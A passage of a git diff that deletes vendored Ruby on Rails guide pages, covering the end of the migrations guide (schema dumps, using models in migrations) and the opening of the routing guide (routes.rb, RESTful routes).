-<tt>say</tt> outputs text (the second argument controls whether it is indented or not)
-</p>
-</li>
-<li>
-<p>
-<tt>say_with_time</tt> outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected.
-</p>
-</li>
-</ul></div>
-<div class="para"><p>For example, this migration</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreateProducts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
-    suppress_messages <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
-      create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
-        t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
-        t<span style="color: #990000">.</span>text <span style="color: #990000">:</span>description
-        t<span style="color: #990000">.</span>timestamps
-      <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-    say <span style="color: #FF0000">"Created a table"</span>
-    suppress_messages <span style="color: #FF0000">{</span>add_index <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>name<span style="color: #FF0000">}</span>
-    say <span style="color: #FF0000">"and an index!"</span><span style="color: #990000">,</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-    say_with_time <span style="color: #FF0000">'Waiting for a while'</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
-      sleep <span style="color: #993399">10</span>
-      <span style="color: #993399">250</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
-    drop_table <span style="color: #990000">:</span>products
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>generates the following output</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>== 20080906170109 CreateProducts: migrating ===================================
--- Created a table
-   -&gt; and an index!
--- Waiting for a while
-   -&gt; 10.0001s
-   -&gt; 250 rows
-== 20080906170109 CreateProducts: migrated (10.0097s) =========================</tt></pre>
-</div></div>
-<div class="para"><p>If you just want Active Record to shut up then running <tt>rake db:migrate VERBOSE=false</tt> will suppress any output.</p></div>
-</div>
-<h2 id="models">5. Using Models In Your Migrations</h2>
-<div class="sectionbody">
-<div class="para"><p>When creating or updating data in a migration it is often tempting to use one of your models. After all they exist to provide easy access to the underlying data. This can be done but some caution should be observed.</p></div>
-<div class="para"><p>Consider for example a migration that uses the Product model to update a row in the corresponding table. Alice later updates the Product model, adding a new column and a validation on it. Bob comes back from holiday, updates the source and runs outstanding migrations with <tt>rake db:migrate</tt>, including the one that used the Product model. When the migration runs the source is up to date and so the Product model has the validation added by Alice. The database however is still old and so does not have that column and an error ensues because that validation is on a column that does not yet exist.</p></div>
-<div class="para"><p>Frequently I just want to update rows in the database without writing out the SQL by hand: I'm not using anything specific to the model. One pattern for this is to define a copy of the model inside the migration itself, for example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> AddPartNumberToProducts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
-  <span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Product <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
-    <span style="color: #990000">...</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
-    <span style="color: #990000">...</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The migration has its own minimal copy of the Product model and no longer cares about the Product model defined in the application.</p></div>
-<h3 id="_dealing_with_changing_models">5.1. Dealing with changing models</h3>
-<div class="para"><p>For performance reasons information about the columns a model has is cached. For example if you add a column to a table and then try and use the corresponding model to insert a new row it may try and use the old column information. You can force Active Record to re-read the column information with the <tt>reset_column_information</tt> method, for example</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> AddPartNumberToProducts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
-  <span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Product <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
-    add_column <span style="color: #990000">:</span>product<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number<span style="color: #990000">,</span> <span style="color: #990000">:</span>string
-    Product<span style="color: #990000">.</span>reset_column_information
-    <span style="color: #990000">...</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
-    <span style="color: #990000">...</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-</div>
-<h2 id="_schema_dumping_and_you">6. Schema dumping and you</h2>
-<div class="sectionbody">
-<h3 id="schema">6.1. What are schema files for?</h3>
-<div class="para"><p>Migrations, mighty as they may be, are not the authoritative source for your database schema. That role falls to either <tt>schema.rb</tt> or an SQL file which Active Record generates by examining the database. They are not designed to be edited, they just represent the current state of the database.</p></div>
-<div class="para"><p>There is no need (and it is error prone) to deploy a new instance of an app by replaying the entire migration history. It is much simpler and faster to just load into the database a description of the current schema.</p></div>
-<div class="para"><p>For example, this is how the test database is created: the current development database is dumped (either to <tt>schema.rb</tt> or <tt>development.sql</tt>) and then loaded into the test database.</p></div>
-<div class="para"><p>Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model's code and is frequently spread across several migrations but is all summed up in the schema file. The <a href="http://agilewebdevelopment.com/plugins/annotate_models">annotate_models</a> plugin, which automatically adds (and updates) comments at the top of each model summarising the schema, may also be of interest.</p></div>
-<h3 id="_types_of_schema_dumps">6.2. Types of schema dumps</h3>
-<div class="para"><p>There are two ways to dump the schema. This is set in <tt>config/environment.rb</tt> by the <tt>config.active_record.schema_format</tt> setting, which may be either <tt>:sql</tt> or <tt>:ruby</tt>.</p></div>
-<div class="para"><p>If <tt>:ruby</tt> is selected then the schema is stored in <tt>db/schema.rb</tt>. If you look at this file you'll find that it looks an awful lot like one very big migration:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>ActiveRecord<span style="color: #990000">::</span>Schema<span style="color: #990000">.</span>define<span style="color: #990000">(:</span>version <span style="color: #990000">=&gt;</span> <span style="color: #993399">20080906171750</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
-  create_table <span style="color: #FF0000">"authors"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>force <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
-    t<span style="color: #990000">.</span>string   <span style="color: #FF0000">"name"</span>
-    t<span style="color: #990000">.</span>datetime <span style="color: #FF0000">"created_at"</span>
-    t<span style="color: #990000">.</span>datetime <span style="color: #FF0000">"updated_at"</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  create_table <span style="color: #FF0000">"products"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>force <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
-    t<span style="color: #990000">.</span>string   <span style="color: #FF0000">"name"</span>
-    t<span style="color: #990000">.</span>text     <span style="color: #FF0000">"description"</span>
-    t<span style="color: #990000">.</span>datetime <span style="color: #FF0000">"created_at"</span>
-    t<span style="color: #990000">.</span>datetime <span style="color: #FF0000">"updated_at"</span>
-    t<span style="color: #990000">.</span>string   <span style="color: #FF0000">"part_number"</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using <tt>create_table</tt>, <tt>add_index</tt> and so on. Because this is database independent it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases.</p></div>
-<div class="para"><p>There is however a trade-off: <tt>schema.rb</tt> cannot express database specific items such as foreign key constraints, triggers or stored procedures. While in a migration you can execute custom SQL statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like this then you should set the schema format to <tt>:sql</tt>.</p></div>
-<div class="para"><p>Instead of using Active Record's schema dumper the database's structure will be dumped using a tool specific to that database (via the <tt>db:structure:dump</tt> Rake task) into <tt>db/#{RAILS_ENV}_structure.sql</tt>. For example for PostgreSQL the <tt>pg_dump</tt> utility is used and for MySQL this file will contain the output of SHOW CREATE TABLE for the various tables. Loading this schema is simply a question of executing the SQL statements contained inside.</p></div>
-<div class="para"><p>By definition this will be a perfect copy of the database's structure but this will usually prevent loading the schema into a database other than the one used to create it.</p></div>
-<h3 id="_schema_dumps_and_source_control">6.3. Schema dumps and source control</h3>
-<div class="para"><p>Because they are the authoritative source for your database schema, it is strongly recommended that you check them into source control.</p></div>
-</div>
-<h2 id="foreign_key">7. Active Record and Referential Integrity</h2>
-<div class="sectionbody">
-<div class="para"><p>The Active Record way is that intelligence belongs in your models, not in the database. As such, features such as triggers or foreign key constraints, which push some of that intelligence back into the database are not heavily used.</p></div>
-<div class="para"><p>Validations such as <tt>validates_uniqueness_of</tt> are one way in which models can enforce data integrity. The <tt>:dependent</tt> option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level these cannot guarantee referential integrity and so some people augment them with foreign key constraints.</p></div>
-<div class="para"><p>Although Active Record does not provide any tools for working directly with such features, the <tt>execute</tt> method can be used to execute arbitrary SQL. There are also a number of plugins such as <a href="http://agilewebdevelopment.com/plugins/search?search=redhillonrails">redhillonrails</a> which add foreign key support to Active Record (including support for dumping foreign keys in <tt>schema.rb</tt>).</p></div>
-</div>
-<h2 id="_changelog">8. Changelog</h2>
-<div class="sectionbody">
-<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/6">Lighthouse ticket</a></p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-September 14, 2008: initial version by <a href="../authors.html#fcheung">Frederick Cheung</a>
-</p>
-</li>
-</ul></div>
-</div>
-
-		</div>
-	</div>
-</body>
-</html>
diff --git a/vendor/rails/railties/doc/guides/html/routing_outside_in.html b/vendor/rails/railties/doc/guides/html/routing_outside_in.html
deleted file mode 100644
index 947d0836..00000000
--- a/vendor/rails/railties/doc/guides/html/routing_outside_in.html
+++ /dev/null
@@ -1,2213 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
-	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
-	<title>Rails Routing from the Outside In</title>
-	<!--[if lt IE 8]>
-	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
-	<![endif]-->
-	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-	<style type="text/css">
-		div#container {
-	max-width: 900px;
-	padding-bottom: 3em;
-}
-
-div#content {
-	margin-left: 200px;
-}
-
-div#container.notoc {
-	max-width: 600px;
-}
-
-.notoc div#content {
-	margin-left: 0;
-}
-
-pre {
-	line-height: 1.4em;
-}
-
-#content p tt {
-	background: #eeeeee;
-	border: solid 1px #cccccc;
-	padding: 3px;
-}
-
-dt {
-	font-weight: bold;
-}
-
-#content dt tt {
-	font-size: 10pt;
-}
-
-dd {
-	margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
-	background: none;
-	padding: 0;
-	border: 0;
-}
-
-#content .olist ol {
-	margin-left: 2em;
-}
-
-#header {
-	position: relative;
-	max-width: 840px;
-	margin-left: auto;
-	margin-right: auto;
-}
-
-#header.notoc {
-	max-width: 580px;
-}
-
-#logo {
-	position: absolute;
-	left: 10px;
-	top: 10px;
-	width: 110px;
-	height: 140px;
-}
-
-div#header h1#site_title {
-	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
-	position: absolute;
-	width: 392px;
-	height: 55px;
-	left: 145px;
-	top: 20px;
-	margin: 0;
-	padding: 0;
-}
-
-#site_title span {
-	display: none;
-}
-
-#site_title_tagline {
-	display: none;
-}
-
-ul#navMain {
-	position: absolute;
-	margin: 0;
-	padding: 0;
-	top: 97px;
-	left: 145px;
-}
-
-.left-floaty, .right-floaty {
-	padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
-	margin-left: 1em;
-	margin-right: 1em;
-	margin-top: 0.25em;
-	margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
-	padding-right: 8px;
-}
-
-.admonitionblock .content {
-	border: solid 1px #ffda78;
-	background: #fffebd;
-	padding: 10px;
-	padding-top: 8px;
-	padding-bottom: 8px;
-}
-
-.admonitionblock .title {
-	font-size: 140%;
-	margin-bottom: 0.5em;
-}
-
-.tableblock table {
-	border: solid 1px #aaaaff;
-	background: #f0f0ff;
-}
-
-.tableblock th {
-	background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
-	padding: 3px;
-	padding-left: 5px;
-	padding-right: 5px;
-}
-
-.sidebarblock {
-	margin-top: 0.25em;
-	margin: 1em;
-	border: solid 1px #ccccbb;
-	padding: 8px;
-	background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
-	font-size: 140%;
-	font-weight: 600;
-	margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
-	margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
-	text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
-	text-decoration: underline;
-}
-
-	</style>
-</head>
-<body>
-	<div id="header" >
-		<div id="logo">
-			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
-		</div>
-		
-		<h1 id="site_title"><span>Ruby on Rails</span></h1>
-		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
-		<ul id="navMain">
-			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
-			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
-		</ul>
-	</div>
-
-	<div id="container">
-		
-		<div id="sidebar">
-			<h2>Chapters</h2>
-			<ol>
-					<li>
-					<a href="#_the_dual_purpose_of_routing">The Dual Purpose of Routing</a>
-						<ul>
-						
-							<li><a href="#_connecting_urls_to_code">Connecting URLs to Code</a></li>
-						
-							<li><a href="#_generating_urls_from_code">Generating URLs from Code</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_quick_tour_of_routes_rb">Quick Tour of Routes.rb</a>
-						<ul>
-						
-							<li><a href="#_processing_the_file">Processing the File</a></li>
-						
-							<li><a href="#_restful_routes">RESTful Routes</a></li>
-						
-							<li><a href="#_named_routes">Named Routes</a></li>
-						
-							<li><a href="#_nested_routes">Nested Routes</a></li>
-						
-							<li><a href="#_regular_routes">Regular Routes</a></li>
-						
-							<li><a href="#_default_routes">Default Routes</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_restful_routing_the_rails_default">RESTful Routing: the Rails Default</a>
-						<ul>
-						
-							<li><a href="#_what_is_rest">What is REST?</a></li>
-						
-							<li><a href="#_crud_verbs_and_actions">CRUD, Verbs, and Actions</a></li>
-						
-							<li><a href="#_urls_and_paths">URLs and Paths</a></li>
-						
-							<li><a href="#_defining_multiple_resources_at_the_same_time">Defining Multiple Resources at the Same Time</a></li>
-						
-							<li><a href="#_singular_resources">Singular Resources</a></li>
-						
-							<li><a href="#_customizing_resources">Customizing Resources</a></li>
-						
-							<li><a href="#_controller_namespaces_and_routing">Controller Namespaces and Routing</a></li>
-						
-							<li><a href="#_nested_resources">Nested Resources</a></li>
-						
-							<li><a href="#_route_generation_from_arrays">Route Generation from Arrays</a></li>
-						
-							<li><a href="#_namespaced_resources">Namespaced Resources</a></li>
-						
-							<li><a href="#_adding_more_restful_actions">Adding More RESTful Actions</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_regular_routes_2">Regular Routes</a>
-						<ul>
-						
-							<li><a href="#_bound_parameters">Bound Parameters</a></li>
-						
-							<li><a href="#_wildcard_components">Wildcard Components</a></li>
-						
-							<li><a href="#_static_text">Static Text</a></li>
-						
-							<li><a href="#_querystring_parameters">Querystring Parameters</a></li>
-						
-							<li><a href="#_defining_defaults">Defining Defaults</a></li>
-						
-							<li><a href="#_named_routes_2">Named Routes</a></li>
-						
-							<li><a href="#_route_requirements">Route Requirements</a></li>
-						
-							<li><a href="#_route_conditions">Route Conditions</a></li>
-						
-							<li><a href="#_route_globbing">Route Globbing</a></li>
-						
-							<li><a href="#_route_options">Route Options</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_formats_and_respond_to">Formats and respond_to</a>
-						<ul>
-						
-							<li><a href="#_specifying_the_format_with_an_http_header">Specifying the Format with an HTTP Header</a></li>
-						
-							<li><a href="#_recognized_mime_types">Recognized MIME types</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_the_default_routes">The Default Routes</a>
-					</li>
-					<li>
-					<a href="#_the_empty_route">The Empty Route</a>
-						<ul>
-						
-							<li><a href="#_using_map_root">Using map.root</a></li>
-						
-							<li><a href="#_connecting_the_empty_string">Connecting the Empty String</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_inspecting_and_testing_routes">Inspecting and Testing Routes</a>
-						<ul>
-						
-							<li><a href="#_seeing_existing_routes_with_rake">Seeing Existing Routes with rake</a></li>
-						
-							<li><a href="#_testing_routes">Testing Routes</a></li>
-						
-						</ul>
-					</li>
-					<li>
-					<a href="#_changelog">Changelog</a>
-					</li>
-			</ol>
-		</div>
-		
-		<div id="content">
-				<h1>Rails Routing from the Outside In</h1>
-			<div id="preamble">
-<div class="sectionbody">
-<div class="para"><p>This guide covers the user-facing features of Rails routing. By referring to this guide, you will be able to:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Understand the purpose of routing
-</p>
-</li>
-<li>
-<p>
-Decipher the code in <tt>routes.rb</tt>
-</p>
-</li>
-<li>
-<p>
-Construct your own routes, using either the classic hash style or the now-preferred RESTful style
-</p>
-</li>
-<li>
-<p>
-Identify how a route will map to a controller and action
-</p>
-</li>
-</ul></div>
-</div>
-</div>
-<h2 id="_the_dual_purpose_of_routing">1. The Dual Purpose of Routing</h2>
-<div class="sectionbody">
-<div class="para"><p>Rails routing is a two-way piece of machinery - rather as if you could turn trees into paper, and then turn paper back into trees. Specifically, it both connects incoming HTTP requests to the code in your application's controllers, and helps you generate URLs without having to hard-code them as strings.</p></div>
-<h3 id="_connecting_urls_to_code">1.1. Connecting URLs to Code</h3>
-<div class="para"><p>When your Rails application receives an incoming HTTP request, say</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>GET /patients/17</tt></pre>
-</div></div>
-<div class="para"><p>the routing engine within Rails is the piece of code that dispatches the request to the appropriate spot in your application. In this case, the application would most likely end up running the <tt>show</tt> action within the <tt>patients</tt> controller, displaying the details of the patient whose ID is 17.</p></div>
-<h3 id="_generating_urls_from_code">1.2. Generating URLs from Code</h3>
-<div class="para"><p>Routing also works in reverse. If your application contains this code:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@patient</span> <span style="color: #990000">=</span> Patient<span style="color: #990000">.</span>find<span style="color: #990000">(</span><span style="color: #993399">17</span><span style="color: #990000">)</span>
-<span style="color: #FF0000">&lt;%= link_to "Patient Record", patient_path(@patient) %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>Then the routing engine is the piece that translates that to a link to a URL such as <tt>http://example.com/patients/17</tt>. By using routing in this way, you can reduce the brittleness of your application as compared to one with hard-coded URLs, and make your code easier to read and understand.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">Patient needs to be declared as a resource for this style of translation via a named route to be available.</td>
-</tr></table>
-</div>
-</div>
-<h2 id="_quick_tour_of_routes_rb">2. Quick Tour of Routes.rb</h2>
-<div class="sectionbody">
-<div class="para"><p>There are two components to routing in Rails: the routing engine itself, which is supplied as part of Rails, and the file <tt>config/routes.rb</tt>, which contains the actual routes that will be used by your application. Learning exactly what you can put in <tt>routes.rb</tt> is the main topic of this guide, but before we dig in let's get a quick overview.</p></div>
-<h3 id="_processing_the_file">2.1. Processing the File</h3>
-<div class="para"><p>In format, <tt>routes.rb</tt> is nothing more than one big block sent to <tt>ActionController::Routing::Routes.draw</tt>. Within this block, you can have comments, but it's likely that most of your content will be individual lines of code - each line being a route in your application. You'll find five main types of content in this file:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-RESTful Routes
-</p>
-</li>
-<li>
-<p>
-Named Routes
-</p>
-</li>
-<li>
-<p>
-Nested Routes
-</p>
-</li>
-<li>
-<p>
-Regular Routes
-</p>
-</li>
-<li>
-<p>
-Default Routes
-</p>
-</li>
-</ul></div>
-<div class="para"><p>Each of these types of route is covered in more detail later in this guide.</p></div>
-<div class="para"><p>The <tt>routes.rb</tt> file is processed from top to bottom when a request comes in. The request will be dispatched to the first matching route. If there is no matching route, then Rails returns HTTP status 404 to the caller.</p></div>
-<h3 id="_restful_routes">2.2. RESTful Routes</h3>
-<div class="para"><p>RESTful routes take advantage of the built-in REST orientation of Rails to wrap up a lot of routing information in a single declaration. A RESTful route looks like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>books
-</tt></pre></div></div>
-<h3 id="_named_routes">2.3. Named Routes</h3>
-<div class="para"><p>Named routes give you very readable links in your code, as well as handling incoming requests. Here's a typical named route:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>login <span style="color: #FF0000">'/login'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'sessions'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'new'</span>
-</tt></pre></div></div>
-<h3 id="_nested_routes">2.4. Nested Routes</h3>
-<div class="para"><p>Nested routes let you declare that one resource is contained within another resource. You'll see later on how this translates to URLs and paths in your code. For example, if your application includes parts, each of which belongs to an assembly, you might have this nested route declaration:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>assemblies <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>assemblies<span style="color: #990000">|</span>
-  assemblies<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>parts
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h3 id="_regular_routes">2.5. Regular Routes</h3>
-<div class="para"><p>In many applications, you'll also see non-RESTful routing, which explicitly connects the parts of a URL to a particular action. For example,</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'parts/:number'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'inventory'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'show'</span>
-</tt></pre></div></div>
-<h3 id="_default_routes">2.6. Default Routes</h3>
-<div class="para"><p>The default routes are a safety net that catch otherwise-unrouted requests. Many Rails applications will contain this pair of default routes:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id'</span>
-map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id.:format'</span>
-</tt></pre></div></div>
-<div class="para"><p>These default routes are automatically generated when you create a new Rails application. If you're using RESTful routing for everything in your application, you will probably want to remove them. But be sure you're not using the default routes before you remove them!</p></div>
-</div>
-<h2 id="_restful_routing_the_rails_default">3. RESTful Routing: the Rails Default</h2>
-<div class="sectionbody">
-<div class="para"><p>RESTful routing is the current standard for routing in Rails, and it's the one that you should prefer for new applications. It can take a little while to understand how RESTful routing works, but it's worth the effort; your code will be easier to read and you'll be working with Rails, rather than fighting against it, when you use this style of routing.</p></div>
-<h3 id="_what_is_rest">3.1. What is REST?</h3>
-<div class="para"><p>The foundation of RESTful routing is generally considered to be Roy Fielding's doctoral thesis, <a href="http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm">Architectural Styles and the Design of Network-based Software Architectures</a>. Fortunately, you need not read this entire document to understand how REST works in Rails. REST, an acronym for Representational State Transfer, boils down to two main principles for our purposes:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Using resource identifiers (which, for the purposes of discussion, you can think of as URLs) to represent resources
-</p>
-</li>
-<li>
-<p>
-Transferring representations of the state of that resource between system components.
-</p>
-</li>
-</ul></div>
-<div class="para"><p>For example, to a Rails application a request such as this:</p></div>
-<div class="para"><p><tt>DELETE /photos/17</tt></p></div>
-<div class="para"><p>would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action - deleting that resource. REST is a natural style for the architecture of web applications, and Rails makes it even more natural by using conventions to shield you from some of the RESTful complexities.</p></div>
-<h3 id="_crud_verbs_and_actions">3.2. CRUD, Verbs, and Actions</h3>
-<div class="para"><p>In Rails, a RESTful route provides a mapping between HTTP verbs, controller actions, and (implicitly) CRUD operations in a database. A single entry in the routing file, such as</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos
-</tt></pre></div></div>
-<div class="para"><p>creates seven different routes in your application:</p></div>
-<div class="tableblock">
-<table rules="all"
-frame="hsides"
-cellspacing="0" cellpadding="4">
-<col width="125" />
-<col width="182" />
-<col width="137" />
-<col width="102" />
-<col width="502" />
-<thead>
-  <tr>
-    <th align="left">
-    HTTP verb
-    </th>
-    <th align="left">
-    URL
-    </th>
-    <th align="left">
-    controller
-    </th>
-    <th align="left">
-    action
-    </th>
-    <th align="left">
-    used for
-    </th>
-  </tr>
-</thead>
-<tbody valign="top">
-  <tr>
-    <td align="left">
-    GET
-    </td>
-    <td align="left">
-    /photos
-    </td>
-    <td align="left">
-    Photos
-    </td>
-    <td align="left">
-    index
-    </td>
-    <td align="left">
-    display a list of all photos
-    </td>
-  </tr>
-  <tr>
-    <td align="left">
